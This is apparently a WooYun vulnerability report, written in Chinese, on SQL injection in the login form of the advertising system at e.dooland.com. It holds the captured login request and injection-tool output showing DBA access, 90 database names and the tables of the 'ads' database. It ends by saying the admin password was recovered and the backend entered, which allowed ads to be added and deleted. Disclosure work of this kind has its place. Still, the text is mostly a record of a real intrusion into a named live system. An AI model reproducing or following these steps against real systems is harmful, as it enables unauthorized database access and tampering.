WooYun.org

系统地址：
http://e.dooland.com/ 广告系统。
登陆存在注入。

抓登陆包

POST /?action=login HTTP/1.1
Host: e.dooland.com
Proxy-Connection: keep-alive
Content-Length: 31
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Origin: http://e.dooland.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://e.dooland.com/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: PHPSESSID=0326k6lvnaoiopagcb82cra9j3
username=1&password=1&x=17&y=10

果断是注入：
[20:32:58] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.10
back-end DBMS: MySQL 5.0
[20:32:58] [INFO] fetching current database
[20:32:58] [WARNING] reflective value(s) found and filtering out
[20:32:58] [INFO] retrieved: ads
current database: 'ads'
[20:32:58] [INFO] testing if current user is DBA
[20:32:58] [INFO] fetching current user
[20:32:58] [INFO] retrieved: [email protected]
current user is DBA: True
DBA权限 90个库 是找到大库房了
available databases [90]:
[*] A_Bank
[*] ads
[*] adstat
[*] adsystem
[*] ahvnet
[*] api_site_chinagames
[*] api_site_tttz
[*] asus
[*] bbappnet
[*] billwang
[*] business
[*] client
[*] collector
[*] common
[*] cover
[*] dayoo
[*] dongyou
[*] DoolandERP
[*] doolandmanager
[*] DownLoadInfoDB
[*] dudubao
[*] dudubao_bak
[*] dudubao_book
[*] dudubao_gztv
[*] dudubao_hd
[*] eben
[*] expand
[*] fhxxw
[*] gdvnet
[*] gdvnet2
[*] gdwap
[*] gxvnet
[*] gzvnet
[*] hzkzy
[*] ifeng
[*] information_schema
[*] ipad_adsys
[*] JIANBAO
[*] jigou
[*] jsvnet
[*] jxvnet
[*] kindle_caixin
[*] kuanzon
[*] lcbook
[*] lephone
[*] lib
[*] mag_pub
[*] magazine_upload
[*] mysql
[*] news
[*] newspaper
[*] OEM
[*] opds_aldiko
[*] paycenter
[*] qinghua
[*] qqcaibei
[*] readstat
[*] ReadStat
[*] sctfds
[*] scvnet
[*] seo
[*] shop_car
[*] sina_book
[*] sina_mag_cooperation
[*] stat_dudubao
[*] stat_gxvnet
[*] stat_jxvnet
[*] stat_paihang
[*] suzhmobile
[*] system_check
[*] test
[*] tob_client
[*] ty189
[*] ty189_mail
[*] ty189_mail_hd
[*] ty189_mail_new
[*] ty189_mail_test
[*] ucenter
[*] unicom
[*] union
[*] vip_statistics
[*] vnet139
[*] wangyi163
[*] wap
[*] xjvnet
[*] ynvnet
[*] zazhishe
[*] zhongshan
[*] zhuanti
[*] zjvnet
当前库ads的表
Database: ads
[38 tables]
+----------------------------+
| Client_ad |
| Client_stat |
| ad_photo |
| ad_photo_bak |
| ad_photo_bak2 |
| ad_photo_bak3 |
| ad_send |
| ad_send_20100115 |
| ad_send_bak |
| ad_send_bak2 |
| ad_send_bak20100107 |
| ad_send_bak20100112 |
| area |
| area_bak |
| click_2010_area |
| conn |
| conn_20101125 |
| conn_bak |
| conn_bak1 |
| fhxxw_ad_photo |
| fhxxw_count |
| keywords_ad |
| keywords_ad_bak_20090107 |
| magazine_page |
| magazine_page_bak1 |
| magazine_page_bak2 |
| magazine_page_bak20090107 |
| magazine_photo |
| magazine_photo_2010118 |
| magazine_photo_bak20090107 |
| magazine_photo_bak20090112 |
| news |
| stat |
| stat_2010_area |
| tag_ad |
| tag_products |
| user |
| user_bak |
+----------------------------+
最后找到admin的密码 进入后台，可删增广告。